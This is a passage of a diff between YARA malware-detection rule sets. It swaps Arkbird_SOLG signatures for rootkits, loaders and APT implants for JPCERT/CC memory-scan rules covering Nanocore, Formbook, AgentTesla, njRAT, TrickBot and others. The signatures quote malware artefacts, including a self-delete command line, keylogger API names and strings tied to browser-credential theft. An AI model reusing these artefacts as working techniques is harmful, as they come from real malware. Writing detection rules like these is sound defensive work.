-		$seq_Sep_2020_2 = { 68 00 00 00 f0 6a 01 68 a0 51 00 10 57 8d 45 f8 89 5d f4 50 89 7d f8 89 7d fc ff 15 30 50 00 10 85 c0 0f 84 81 00 00 00 8d 45 fc 50 57 57 68 14 01 00 00 68 d0 d0 00 10 ff 75 f8 ff 15 08 50 00 10 8b f0 85 f6 74 26 68 00 01 00 00 8d 45 f4 50 68 60 42 01 10 57 6a 01 57 ff 75 fc ff 15 04 50 00 10 ff 75 fc 8b f0 ff 15 00 50 00 10 57 ff 75 f8 ff 15 0c 50 00 10 }
-		$seq_Jan_2021_1 = { 48 21 4d 77 4c 8d 05 [2] 00 00 48 21 4d 6f ?? 8b ?? 48 8d 4d 77 [6-9] c7 44 24 20 00 00 00 f0 ff 15 [2] 00 00 85 c0 0f 84 [2] 00 00 48 8b 4d 77 48 8d 45 6f 48 89 44 24 28 48 8d [3] 00 00 83 64 24 20 00 [2-5] c9 41 b8 14 01 00 00 ff 15 [2] 00 00 8b d8 85 c0 74 3b 48 8b 4d 6f 48 8d 45 67 c7 44 24 30 00 01 00 00 45 33 c9 48 89 44 24 28 ?? 8b ?? 48 8d 05 [2-3] 00 33 d2 48 89 44 24 20 ff 15 [2] 00 00 48 8b 4d 6f 8b d8 ff 15 [2] 00 00 48 8b 4d 77 33 d2 ff 15 [2] 00 00 85 db [4-12] 00 00 48 8d }
-		$seq_Jan_2021_2 = { 4c 8d 05 20 47 00 00 41 8b ce 48 8d 15 1e 47 00 00 e8 [2] 00 00 ba 04 01 00 00 48 8d 4c 24 40 ff 15 ?? 43 00 00 85 c0 75 12 b8 5c 00 00 00 c7 44 24 40 43 00 3a 00 66 89 44 24 44 89 6c 24 38 4c 8d 8c 24 78 02 00 00 48 89 6c 24 30 48 8d 4c 24 40 48 89 6c 24 28 45 33 c0 33 d2 48 89 6c 24 20 66 89 6c 24 46 ff 15 6b 44 00 00 44 8b 84 24 78 02 00 00 48 8d 15 e4 45 00 00 85 c0 b9 bd 07 a2 41 44 0f 44 c1 41 8b c8 44 89 84 24 78 02 00 00 c1 c9 09 41 8b c0 89 4c 24 28 45 8b c8 c1 c8 06 48 8d 4c 24 40 41 c1 c9 03 89 44 24 20 ff 15 8b 44 00 00 4c 8d 44 24 40 33 d2 33 c9 ff 15 ?? 42 00 00 48 85 c0 74 1b ff 15 [2] 00 00 3d b7 00 00 00 74 0e bf 01 00 00 00 48 8d 15 fe 45 00 00 eb 09 8b fd 48 8d 15 a3 45 00 00 41 8b }
+		$v1 = "HostId-%Rand%"
+		$v2 = "mozsqlite3"
+		$v3 = "[Scroll Lock]"
+		$v4 = "GetRawInputData"
+		$ping = "ping 192.0.2.2"
+		$log = "[Log Started] - [%.2d/%.2d/%d %.2d:%.2d:%.2d]"
 
 	condition:
-		uint16(0)==0x5a4d and filesize >30KB and 1 of ($seq*)
+		($v1) or ($v2 and $v3 and $v4) or ($ping and $log)
 }
-rule ARKBIRD_SOLG_MAL_ELF_Rekoobe_Nov_2021_1 : FILE
+rule JPCERTCC_Nanocore
 {
 	meta:
-		description = "Detect the Rekoobe rootkit"
-		author = "Arkbird_SOLG"
-		id = "a5b200f1-cbb7-5106-8127-74abd3cde061"
-		date = "2021-11-10"
-		modified = "2021-11-11"
-		reference = "Internal Research"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-11-10/MAL_ELF_Rekoobe_Nov_2021_1.yara#L1-L20"
-		license_url = "N/A"
-		logic_hash = "bde3d1a3d2d2e9efd4b7c68f69dce40d5e0f01d41885481730d8a7fa67cbab7e"
+		description = "detect Nanocore in memory"
+		author = "JPCERT/CC Incident Response Group"
+		id = "0b12ad94-99c2-5d48-a860-ff75b82971af"
+		date = "2021-08-16"
+		modified = "2021-08-16"
+		reference = "internal research"
+		source_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/yara/rule.yara#L369-L382"
+		license_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/LICENSE.txt"
+		logic_hash = "471dcda6f5fb9c30e3a1df7171fdba889114d54166d038d18c7910e2765d5250"
 		score = 75
-		quality = 73
-		tags = "FILE"
-		hash1 = "bf09a1a7896e05b18c033d2d62f70ea4cac85e2d72dbd8869e12b61571c0327e"
-		hash2 = "e1999a3e5a611312e16bb65bb5a880dfedbab8d4d2c0a5d3ed1ed926a3f63e94"
-		tlp = "white"
-		adversary = "-"
+		quality = 80
+		tags = ""
+		rule_usage = "memory scan"
 
 	strings:
-		$s1 = { 00 ?? 19 00 00 00 48 85 c0 [2-6] bf 0a 00 00 00 e8 [2] 01 00 ?? 24 00 00 00 48 85 c0 [2-6] c6 00 48 c6 40 05 49 c6 40 01 49 c6 40 06 4c c6 40 02 53 c6 40 07 45 c6 40 03 54 c6 40 08 3d c6 40 04 46 c6 40 09 00 48 89 c7 e8 [2] 00 00 48 8d 54 24 0c }
-		$s2 = "GETCONF_DIR" ascii
-		$s3 = "/var/run/nscd/so/dev/ptmx" ascii
-		$s4 = { 45 78 65 63 53 74 61 72 74 3d 2f 62 69 6e 2f 62 61 73 68 20 2d 63 20 2f 75 73 72 2f 62 69 6e 2f 62 69 6f 73 65 74 64 }
-		$s5 = { 48 89 df e8 [3] ff 31 f6 48 89 df e8 [3] ff 48 8d 58 01 48 }
-		$s6 = { 2f 76 61 72 2f 74 6d 70 00 2f 76 61 72 2f 70 72 6f 66 69 6c 65 }
+		$v1 = "NanoCore Client"
+		$v2 = "PluginCommand"
+		$v3 = "CommandType"
 
 	condition:
-		uint32(0)==0x464C457F and filesize >100KB and 5 of ($s*)
+		all of them
 }
-rule ARKBIRD_SOLG_Mal_Plugx_Thor_July_2021_1 : FILE
+rule JPCERTCC_Formbook_1
 {
 	meta:
-		description = "Detect Thor variant of PlugX (Variant 1)"
-		author = "Arkbird_SOLG"
-		id = "5447e5df-0326-5987-905b-bfc49acee05a"
-		date = "2021-07-27"
-		modified = "2021-07-28"
-		reference = "https://unit42.paloaltonetworks.com/thor-plugx-variant/"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-27/PlugX/Mal_PlugX_Thor_July_2021_1.yara#L1-L20"
-		license_url = "N/A"
-		logic_hash = "f94e6cf8a1169526a438dfbf4d6b40f4ce0f6af6eee2e893fb138b81c4172c73"
+		description = "detect Formbook in memory"
+		author = "JPCERT/CC Incident Response Group"
+		id = "71291f9b-eb8e-55e5-a499-df54c35efdbf"
+		date = "2021-08-16"
+		modified = "2021-08-16"
+		reference = "internal research"
+		source_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/yara/rule.yara#L384-L397"
+		license_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/LICENSE.txt"
+		logic_hash = "62bd3717af8970f67f28d923ce2483ff55a5ef4585a183d4d510e3a2c45fcc8c"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		hash1 = "125fdf108dc1ad6f572cbdde74b0c7fa938a9adce0cc80cb5ce00f1c030b0c93"
-		hash2 = "690c488a9902978f2ef05aa23d21f4fa30a52dd9d11191f9b49667cd08618d87"
-		hash3 = "3c5e2a4afe58634f45c48f4e800dc56bae3907dde308ff97740e9cd5684d1c53"
-		hash4 = "a9cbce007a7467ba1394eed32b9c1774ad09a9a9fb74eb2ccc584749273fac01"
-		tlp = "white"
-		adversary = "Chinese APT group"
+		quality = 80
+		tags = ""
+		rule_usage = "memory scan"
 
 	strings:
-		$s1 = { 55 8b ec 81 ec ?? 01 00 00 a1 00 [2] 10 33 c5 89 45 [2-10] 85 ?? fe ff ff [0-1] c6 85 ?? fe ff ff 5c c6 85 ?? fe ff ff ?? c6 85 ?? fe ff ff ?? c6 85 ?? fe ff ff ?? c6 85 ?? fe ff ff }
-		$s2 = { 8b ?? ?? fe ff ff c6 ?? 00 [3-5] fe ff ff [4-10] fe ff ff }
-		$s3 = { fe ff ff 6a 40 68 00 10 00 00 8b 95 ?? fe ff ff 52 6a 00 ff 95 ?? fe ff ff 89 85 ?? fe ff ff }
+		$sqlite3step = { 68 34 1c 7b e1 }
+		$sqlite3text = { 68 38 2a 90 c5 }
+		$sqlite3blob = { 68 53 d8 7f 8c }
 
 	condition:
-		uint16(0)==0x5A4D and filesize >25KB and all of ($s*)
+		all of them
 }
-rule ARKBIRD_SOLG_Loader_Buer_Nov_2020_1 : FILE
+rule JPCERTCC_Agenttesla_Type1
 {
 	meta:
-		description = "Detect Buer loader"
-		author = "Arkbird_SOLG"
-		id = "a2883eca-d576-53ba-aa97-5e3c94f501a5"
-		date = "2020-12-01"
-		modified = "2020-12-01"
-		reference = "https://twitter.com/James_inthe_box/status/1333551419735953409"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-12-01/Buer/Mal_Buer_Nov_2020_1.yar#L35-L64"
-		license_url = "N/A"
-		logic_hash = "96a74b497076be170ce6138189501d8b3a1002bcf07f9d3cf662d64612d04a59"
+		description = "detect Agenttesla in memory"
+		author = "JPCERT/CC Incident Response Group"
+		id = "92bfb3ab-d8d0-50ec-8ab8-ad34f1edb906"
+		date = "2021-08-16"
+		modified = "2021-08-16"
+		reference = "internal research"
+		source_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/yara/rule.yara#L399-L411"
+		license_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/LICENSE.txt"
+		logic_hash = "24b9b815400967a9086048527f7aa1fce08bcd94a16aec8080aeac97045b297a"
 		score = 75
-		quality = 55
-		tags = "FILE"
-		hash1 = "2824d4b0e5a502416696b189bd840870a19dfd555b53535f20b0c87c95f4c232"
-		hash2 = "a98abbce5e84c4c3b67b7af3f9b4dc9704b5af33b6183fb3c192e26b1e0ca005"
-		hash3 = "ae3ac27e8303519cf04a053a424a0939ecc3905a9a62f33bae3a29f069251b1f"
+		quality = 80
+		tags = ""
+		rule_usage = "memory scan"
 
 	strings:
-		$s1 = "bcdfghklmnpqrstvwxz" fullword ascii
-		$s2 = "%02x" fullword wide
-		$s3 = "{%s-%d-%d}" fullword wide
-		$s4 = "update" fullword wide
-		$s5 = "]otju}y&Ykx|kx&867?5Ykx|kx&867<" fullword ascii
-		$s6 = "]otju}y&Ykx|kx&8678&X8" fullword ascii
-		$s7 = "]otju}y&\\oyzg5Ykx|kx&857>" fullword ascii
-		$s8 = "]otju}y&>47" fullword ascii
-		$s9 = "]otju}y&Ykx|kx&8678" fullword ascii
-		$s10 = "]otju}y&=" fullword ascii
-		$s11 = "Iutzktz3Z" fullword ascii
-		$s12 = "g|mnuuq~4jrr" fullword ascii
-		$s13 = "RegularModules" fullword ascii
-		$s14 = "]otju}y&>" fullword ascii
+		$iestr = "C:\\\\Users\\\\Admin\\\\Desktop\\\\IELibrary\\\\IELibrary\\\\obj\\\\Debug\\\\IELibrary.pdb"
+		$atstr = "C:\\\\Users\\\\Admin\\\\Desktop\\\\ConsoleApp1\\\\ConsoleApp1\\\\obj\\\\Debug\\\\ConsoleApp1.pdb"
+		$sqlitestr = "Not a valid SQLite 3 Database File" wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize >10KB and 8 of them
+		all of them
 }
-rule ARKBIRD_SOLG_APT_APT34_RDAT_July_2021_1 : FILE
+rule JPCERTCC_Agenttesla_Type2 : FILE
 {
 	meta:
-		description = "Detect RDAT used by APT34"
-		author = "Arkbird_SOLG"
-		id = "136f8a9e-e680-5fab-8113-b4d33a47bc34"
-		date = "2021-07-15"
-		modified = "2021-07-16"
-		reference = "https://twitter.com/ShadowChasing1/status/1415206437806960647"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-15/APT34/APT_APT34_RDAT_July_2021_1.yara#L1-L22"
-		license_url = "N/A"
-		logic_hash = "269788430ca8faff4b0ea5ec7c2a62f99f5f48ef3bc4ea3f7a27f1d735e64819"
+		description = "detect Agenttesla in memory"
+		author = "JPCERT/CC Incident Response Group"
+		id = "6a0b8075-4a7a-56e8-99d2-794340fd1f8b"
+		date = "2021-08-16"
+		modified = "2021-08-16"
+		reference = "internal research"
+		source_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/yara/rule.yara#L413-L427"
+		license_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/LICENSE.txt"
+		logic_hash = "22f0a7e8f542aa1861f580a2ec3fb2b58ff0ac5d1c606ced0d207a3c350c3633"
 		score = 75
-		quality = 75
+		quality = 80
 		tags = "FILE"
-		hash1 = "b59dea96ef94e8d32ee1a1805174318643569bbdca0d7569ede19467ff09dcdc"
-		hash2 = "65a6afc027ff851bd325d8a4f2ab4f326dd8f2c230bfd49a213c5afc00df8e2c"
-		hash3 = "f9f6dbb09773f708b125a4cca509047eb33c8c53d9e15a8c41ae3d7a8c3e5c7c"
-		tlp = "White"
-		adversary = "APT34"
+		rule_usage = "memory scan"
+		hash1 = "670a00c65eb6f7c48c1e961068a1cb7fd3653bd29377161cd04bf15c9d010da2 "
 
 	strings:
-		$s1 = { 0a 6f 70 74 20 25 6c 75 28 25 6c 75 29 20 73 74 61 74 20 25 6c 75 28 25 6c 75 29 20 73 74 6f 72 65 64 20 25 6c 75 20 6c 69 74 20 25 75 20 64 69 73 74 20 25 75 }
-		$s2 = { 0a 6c 61 73 74 5f 6c 69 74 20 25 75 2c 20 6c 61 73 74 5f 64 69 73 74 20 25 75 2c 20 69 6e 20 25 6c 64 2c 20 6f 75 74 20 7e 25 6c 64 28 25 6c 64 25 25 29 }
-		$s3 = { 70 65 6e 53 43 4d 61 6e 61 67 65 72 20 66 61 69 6c 65 64 20 28 25 64 29 0a }
-		$s4 = { 43 72 65 61 74 65 53 65 72 76 69 63 65 20 66 61 69 6c 65 64 20 28 25 64 29 0a 00 00 00 00 00 00 53 65 72 76 69 63 65 20 69 6e 73 74 61 6c 6c 65 64 20 73 75 63 63 65 73 73 66 75 6c 6c 79 0a }
-		$s5 = { 49 8b cd ff 15 56 22 07 00 c6 05 87 7b 0a 00 00 c7 05 81 7b 0a 00 60 ea 00 00 49 83 c9 ff 45 33 c0 48 8d 55 20 48 8d 0d f3 7b 0a 00 e8 26 a4 ff ff 49 83 c9 ff 45 33 c0 48 8d 55 00 48 8d 0d bc 7b 0a 00 e8 0f a4 ff ff 41 b8 07 00 00 00 48 8d 15 92 b8 08 00 48 8d 0d 03 7c 0a 00 e8 16 a3 ff ff 49 83 c9 ff 45 33 c0 48 8d 55 40 48 8d 0d 6c 7b 0a 00 e8 df a3 ff ff 41 b8 ?? 00 00 00 48 8d 15 6a b8 08 00 48 8d 0d 13 7c 0a 00 e8 e6 a2 ff ff 48 8d 1d 0f 7d 0a 00 48 8b c3 48 83 3d 1c 7d 0a 00 08 48 0f 43 05 fc 7c 0a 00 48 89 44 24 58 48 8d 05 a0 03 00 00 48 89 44 24 60 48 89 7c 24 68 48 89 7c 24 70 48 8d 4c 24 58 ff 15 4e 21 07 00 85 c0 75 29 48 83 3d e2 7c 0a 00 08 48 0f 43 1d c2 7c 0a 00 48 8b d3 33 c9 ff 15 37 21 07 00 48 85 c0 74 09 48 8b c8 ff 15 f1 20 07 00 83 7c 24 30 02 7f 5d 48 8d 44 24 48 48 89 44 24 28 89 7c 24 20 45 33 c9 4c 8d 05 0a 71 ff ff 33 d2 33 c9 ff 15 60 22 07 00 48 8d 44 24 50 48 89 44 24 28 89 7c 24 20 45 33 c9 4c 8d 05 a8 95 ff ff 33 d2 33 c9 ff 15 3e 22 07 00 83 ca ff 48 8b c8 ff 15 f2 20 07 00 b9 64 00 00 00 ff 15 47 22 07 }
-		$s6 = { 48 89 7d f0 48 89 7d f8 45 33 c0 33 d2 48 8d 4d e0 e8 43 a7 ff ff 41 b8 2c 00 00 00 48 8d 15 be bc 08 00 48 8d 4d e0 e8 ad a7 ff ff 48 89 7d 70 48 89 7d 78 45 33 c0 33 d2 48 8d 4d 60 e8 17 a7 ff ff 45 33 c0 48 8d 15 77 94 08 00 48 8d 4d 60 e8 84 a7 ff ff 83 7c 24 30 02 75 6e 48 8d 85 a8 00 00 00 48 89 85 a0 00 00 00 41 b8 03 00 00 00 49 8b 55 08 48 8d 8d a0 00 00 00 e8 c9 0a 00 00 48 8b 95 a0 00 00 00 48 8d 4d a0 e8 89 a5 ff ff 48 8d 85 a8 00 00 00 48 8b 8d a0 00 00 48 89 85 b0 10 00 00 48 8b da 48 8b f9 33 f6 89 74 24 78 c7 45 80 18 00 00 00 c7 45 90 01 00 00 00 48 89 75 88 45 33 c9 4c 8d 45 80 48 8d 54 24 68 48 8d 4c 24 60 ff 15 81 fe 06 00 45 33 c0 8d 56 01 48 8b 4c 24 60 ff 15 68 fe 06 00 45 33 c9 4c 8d 45 80 48 8d 54 24 70 48 8d 4c 24 58 ff 15 59 fe 06 00 45 33 c0 8d 56 01 48 8b 4c 24 58 ff 15 40 fe 06 00 33 c0 48 89 45 98 48 89 45 a0 48 89 45 a8 33 d2 44 8d 46 68 48 8d 4d c0 e8 ab 89 04 00 c7 45 c0 68 00 00 00 48 8b 44 24 68 48 89 45 20 48 8b 44 24 70 48 89 45 18 81 4d fc 00 01 00 00 48 8b d3 48 8d 4d 30 e8 bf fe ff ff 90 4c 8b c0 48 8d 8d 90 00 00 00 e8 9f 0d 00 00 90 45 33 c0 b2 01 48 8d 4d 30 e8 d0 7d ff ff 48 8d 95 90 00 00 00 48 83 bd a8 00 00 00 08 48 0f 43 95 90 00 00 00 48 8d 45 98 48 89 44 24 48 48 8d 45 c0 48 89 44 24 40 48 89 74 24 38 48 89 74 24 30 c7 44 24 28 00 00 00 08 c7 44 24 20 01 00 00 00 45 33 c9 45 33 c0 33 c9 ff 15 a7 fd 06 00 48 8b 4c 24 68 ff 15 94 fd 06 00 48 8b 4c 24 70 ff 15 89 fd 06 00 48 89 b5 80 00 00 00 48 89 b5 88 00 00 00 }
+		$type2db1 = "1.85 (Hash, version 2, native byte-order)" wide
+		$type2db2 = "Unknow database format" wide
+		$type2db3 = "SQLite format 3" wide
+		$type2db4 = "Berkelet DB" wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize >80KB and 5 of ($s*)
+		( uint16(0)==0x5A4D) and 3 of them
 }
-rule ARKBIRD_SOLG_APT_Winnti_Elfx64_Aug_2020_1 : FILE
+rule JPCERTCC_Noderat
 {
 	meta:
-		description = "Detect of ELF implant used by APT Winnti in August 2020"
-		author = "Arkbird_SOLG"
-		id = "112e8d60-cbcb-53a7-b458-d39ee03d5c22"
-		date = "2020-08-18"
-		modified = "2020-08-18"
-		reference = "https://twitter.com/KorbenD_Intel/status/1295725146037133312"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-08-18/Winnti/APT_Winnti_ELFx64_Aug_2020_1.yar#L1-L34"
-		license_url = "N/A"
-		logic_hash = "ebe6e60c45336476fd91c4185eee0414c3eba83960301a610b69c8818dbb17fd"
+		description = "detect Noderat in memory"
+		author = "JPCERT/CC Incident Response Group"
+		id = "9c2c4b0f-0f45-54f6-a98c-b592af882eef"
+		date = "2021-08-16"
+		modified = "2021-08-16"
+		reference = "https://blogs.jpcert.or.jp/ja/2019/02/tick-activity.html"
+		source_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/yara/rule.yara#L429-L442"
+		license_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/LICENSE.txt"
+		logic_hash = "e1254b6cf28161943db202ea0a6ff2d86aa7975d4a3ecc0f26eed58101e54960"
 		score = 75
-		quality = 36
-		tags = "FILE"
-		hash1 = "6af8b3d31101f48911b13e49c660c10ed1d26b60267e8037d2ac174fc0d2f36c"
+		quality = 80
+		tags = ""
+		rule_usage = "memory scan"
 
 	strings:
-		$lib1 = "/usr/bin/python2.7" fullword ascii
-		$lib2 = "libxselinux" fullword ascii
-		$c1 = "/cmdlineH" fullword ascii
-		$c2 = "/proc/%d/fd/%s" fullword ascii
-		$c3 = "/proc/self/exe" fullword ascii
-		$c4 = "__gmon_start__" fullword ascii
-		$c5 = "_ITM_registerTMCloneTable" fullword ascii
-		$c6 = "_ITM_deregisterTMCloneTable" fullword ascii
-		$d1 = "/usr/bin/netstat" fullword ascii
-		$d2 = "/var/run/libudev.pid" fullword ascii
-		$d3 = "/sbin/ifup-local" fullword ascii
-		$s1 = "EAEC2CA4-AF8D-4F61-8115-9EC26F6BF4E1" fullword ascii
-		$s2 = "readdir64" fullword ascii
-		$s3 = ".note.gnu.gold-version" fullword ascii
-		$s4 = ".note.gnu.build-id" fullword ascii
-		$s5 = ".eh_frame_hdr" fullword ascii
-		$s6 = "xlstat" fullword ascii
-		$s7 = "1YZ[\\<@nYSLRR]H_PGX[XmYXGFrstuvwxyz{|}~" fullword ascii
-		$info1 = "check_is_our_proc_dir" fullword ascii
-		$info2 = "get_our_sockets" fullword ascii
-		$info3 = "is_invisible_with_pids" fullword ascii
-		$info4 = "check_if_number" fullword ascii
-		$info5 = "get_our_pids" fullword ascii
+		$config = "/config/app.json"
+		$key = "/config/.regeditKey.rc"
+		$message = "uninstall error when readFileSync: "
 
 	condition:
-		uint16(0)==0x457f and filesize <15KB and (1 of ($lib*) and 4 of ($c*) and 2 of ($d*) and 4 of ($s*) and 3 of ($info*))
+		all of them
 }
-rule ARKBIRD_SOLG_MAL_Netfilter_May_2021_1 : FILE
+rule JPCERTCC_Njrat
 {
 	meta:
-		description = "Detect Netfilter rootkit"
-		author = "Arkbird_SOLG"
-		id = "da333ed8-8cd3-5ae4-bce5-a43a227fdee3"
-		date = "2021-06-18"
-		modified = "2021-06-21"
-		reference = "https://twitter.com/struppigel/status/1405483373280235520"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-18/Netfilter/MAL_Netfilter_May_2021_1.yara#L1-L22"
-		license_url = "N/A"
-		logic_hash = "f219981af907f74e4d95f768d99b7fd877c8bfb00587d198a4b0e2c521c744e1"
+		description = "detect njRAT in memory"
+		author = "JPCERT/CC Incident Response Group"
+		id = "96b35796-3e1d-5721-998a-e678612e4de7"
+		date = "2021-08-16"
+		modified = "2021-08-16"
+		reference = "https://github.com/JPCERTCC/MalConfScan/"
+		source_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/yara/rule.yara#L444-L456"
+		license_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/LICENSE.txt"
+		logic_hash = "398614ff5ea37dfaf6c36f60702cb7cdfe66b4569c698e9c3ea29563e4031856"
 		score = 75
-		quality = 73
-		tags = "FILE"
-		hash1 = "63d61549030fcf46ff1dc138122580b4364f0fe99e6b068bc6a3d6903656aff0"
-		hash2 = "8249e9c0ac0840a36d9a5b9ff3e217198a2f533159acd4bf3d9b0132cc079870"
-		hash3 = "d64f906376f21677d0585e93dae8b36248f94be7091b01fd1d4381916a326afe"
-		tlp = "White"
-		adversary = "Chinese APT Group"
+		quality = 80
+		tags = ""
+		rule_usage = "memory scan"
+		hash1 = "d5f63213ce11798879520b0e9b0d1b68d55f7727758ec8c120e370699a41379d"
 
 	strings:
-		$seq1 = { 48 8b 05 a9 57 ff ff 45 33 c9 49 b8 32 a2 df 2d 99 2b 00 00 48 85 c0 74 05 49 3b c0 75 38 0f 31 48 c1 e2 20 48 8d 0d 85 57 ff ff 48 0b c2 48 33 c1 48 89 05 78 57 ff ff 66 44 89 0d 76 57 ff ff 48 8b 05 69 57 ff ff 48 85 c0 75 0a 49 8b c0 48 89 05 5a 57 ff ff 48 f7 d0 48 89 05 58 57 }
-		$seq2 = { 48 83 ec 38 48 83 64 24 20 00 48 8d 05 83 4c 00 00 48 8d 15 24 d1 00 00 48 89 44 24 28 48 8d 4c 24 20 e8 4d 05 00 00 85 c0 78 16 4c 8d 05 22 d1 00 00 83 ca ff 48 8d 0d 00 d1 00 00 e8 39 05 00 00 48 83 c4 }
-		$seq3 = { 45 33 c0 48 8d 4c 24 40 41 8d 50 01 ff 15 5d 62 00 00 c6 84 24 88 00 00 00 01 48 8d 84 24 88 00 00 00 48 89 46 18 48 8d 0d e2 fe ff ff 48 89 9e c0 00 00 00 48 8d 44 24 40 48 89 46 50 48 8d 44 24 30 48 89 46 48 65 48 8b 04 25 88 01 00 00 48 89 86 98 00 00 00 48 8b 86 b8 00 00 00 40 88 7e 40 c6 40 b8 06 4c 89 78 e0 48 89 58 e8 c7 40 c0 01 00 00 00 c7 40 c8 0d 00 00 00 48 89 58 d0 48 8b 86 b8 00 00 00 48 89 48 f0 48 8d 4c 24 40 48 89 48 f8 c6 40 bb e0 48 8b 43 28 48 85 c0 74 2f 48 8b 48 10 48 85 c9 74 07 48 21 78 10 4c 8b f1 48 8b 08 48 85 c9 74 06 48 21 38 48 8b e9 48 8b 48 08 48 85 c9 74 08 48 83 60 08 00 48 8b f9 48 8b d6 49 8b cf ff 15 74 61 00 00 3d 03 01 00 00 75 19 48 83 64 24 20 00 48 8d 4c 24 40 41 b1 01 45 33 c0 33 d2 ff 15 64 61 00 00 48 8b 43 28 48 85 c0 74 1a 4d }
-		$seq4 = { 8b 84 24 80 00 00 00 48 8d 54 24 38 48 8b 4c 24 30 44 8b ce 89 44 24 28 45 33 c0 48 89 7c 24 20 ff 15 66 2e 00 00 48 8b 4c 24 30 8b d8 ff 15 49 2e 00 00 48 8b 4c 24 30 ff 15 26 2d 00 00 8b }
-		$s1 = "%sc=%s" fullword ascii
-		$s2 = { 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 }
-		$s3 = "NETIO.SYS" fullword ascii
+		$reg = "SEE_MASK_NOZONECHECKS" wide fullword
+		$msg = "Execute ERROR" wide fullword
+		$ping = "cmd.exe /c ping 0 -n 2 & del" wide fullword
 
 	condition:
-		uint16(0)==0x5a4d and filesize >20KB and (3 of ($seq*) or 2 of ($s*))
+		all of them
 }
-rule ARKBIRD_SOLG_MAL_Netfilter_Dropper_Jun_2021_1 : FILE
+rule JPCERTCC_Trickbot
 {
 	meta:
-		description = "Detect the dropper of Netfilter rootkit"
-		author = "Arkbird_SOLG"
-		id = "5e67c99c-6b08-5190-9c8a-55086c20923e"
-		date = "2020-06-18"
-		modified = "2021-06-18"
-		reference = "https://twitter.com/struppigel/status/1405483373280235520"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-18/Netfilter/MAL_Netfilter_Dropper_Jun_2021_1.yara#L1-L20"
-		license_url = "N/A"
-		logic_hash = "66e96304e097a0f6cd99cf77b20f61b8a0bcceaf8685a336c039a80947a08f78"
+		description = "detect TrickBot in memory"
+		author = "JPCERT/CC Incident Response Group"
+		id = "1a3c5193-bea1-5f64-be40-47bd22c09772"
+		date = "2021-08-16"
+		modified = "2021-08-16"
+		reference = "https://github.com/JPCERTCC/MalConfScan/"
+		source_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/yara/rule.yara#L458-L478"
+		license_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/LICENSE.txt"
+		logic_hash = "b0c3437bc4b4f9e7b2a1562e2d514b7aad398d5e387bb79829757b5772a1ebc3"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		hash1 = "a5c873085f36f69f29bb8895eb199d42ce86b16da62c56680917149b97e6dac"
-		hash2 = "659e0d1b2405cadfa560fe648cbf6866720dd40bb6f4081d3dce2dffe20595d9"
-		hash3 = "d0a03a8905c4f695843bc4e9f2dd062b8fd7b0b00103236b5187ff3730750540"
-		tlp = "White"
-		adversary = "Chinese APT Group"
+		quality = 80
+		tags = ""
+		rule_usage = "memory scan"
+		hash1 = "2153be5c6f73f4816d90809febf4122a7b065cbfddaa4e2bf5935277341af34c"
 
 	strings:
